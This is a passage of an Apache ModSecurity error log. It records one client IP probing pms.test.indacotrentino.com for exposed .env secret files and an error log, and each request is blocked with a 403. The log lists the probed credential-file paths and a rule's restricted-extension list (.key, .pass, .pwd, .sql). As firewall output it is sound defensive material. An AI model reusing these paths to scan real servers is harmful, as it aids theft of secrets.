&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy4AAAAAA&quot;]
[Thu Feb 26 01:03:02.645419 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy4AAAAAA&quot;]
[Thu Feb 26 01:03:02.645580 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy4AAAAAA&quot;]
[Thu Feb 26 01:03:02.668682 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /envs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtQAAAAE&quot;]
[Thu Feb 26 01:03:02.669087 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtQAAAAE&quot;]
[Thu Feb 26 01:03:02.669324 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtQAAAAE&quot;]
[Thu Feb 26 01:03:02.717063 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtgAAAAE&quot;]
[Thu Feb 26 01:03:02.717642 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtgAAAAE&quot;]
[Thu Feb 26 01:03:02.717812 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtgAAAAE&quot;]
[Thu Feb 26 01:03:02.746182 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /error/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtwAAAAE&quot;]
[Thu Feb 26 01:03:02.746436 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtwAAAAE&quot;]
[Thu Feb 26 01:03:02.746629 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhtwAAAAE&quot;]
[Thu Feb 26 01:03:02.781507 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /errors/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuAAAAAE&quot;]
[Thu Feb 26 01:03:02.781715 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuAAAAAE&quot;]
[Thu Feb 26 01:03:02.781851 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuAAAAAE&quot;]
[Thu Feb 26 01:03:02.823775 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuQAAAAE&quot;]
[Thu Feb 26 01:03:02.824000 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuQAAAAE&quot;]
[Thu Feb 26 01:03:02.824155 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuQAAAAE&quot;]
[Thu Feb 26 01:03:02.826571 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/mariadb-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5AAAAAA&quot;]
[Thu Feb 26 01:03:02.826773 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5AAAAAA&quot;]
[Thu Feb 26 01:03:02.826926 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5AAAAAA&quot;]
[Thu Feb 26 01:03:02.848291 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example02-golang-package/import-underscore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhugAAAAE&quot;]
[Thu Feb 26 01:03:02.848523 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhugAAAAE&quot;]
[Thu Feb 26 01:03:02.848681 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhugAAAAE&quot;]
[Thu Feb 26 01:03:02.884610 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/php-apache/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5QAAAAA&quot;]
[Thu Feb 26 01:03:02.884882 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5QAAAAA&quot;]
[Thu Feb 26 01:03:02.885057 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5QAAAAA&quot;]
[Thu Feb 26 01:03:02.890126 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample01/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuwAAAAE&quot;]
[Thu Feb 26 01:03:02.890419 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuwAAAAE&quot;]
[Thu Feb 26 01:03:02.890584 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhuwAAAAE&quot;]
[Thu Feb 26 01:03:02.907763 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5gAAAAA&quot;]
[Thu Feb 26 01:03:02.908014 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5gAAAAA&quot;]
[Thu Feb 26 01:03:02.908191 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy5gAAAAA&quot;]
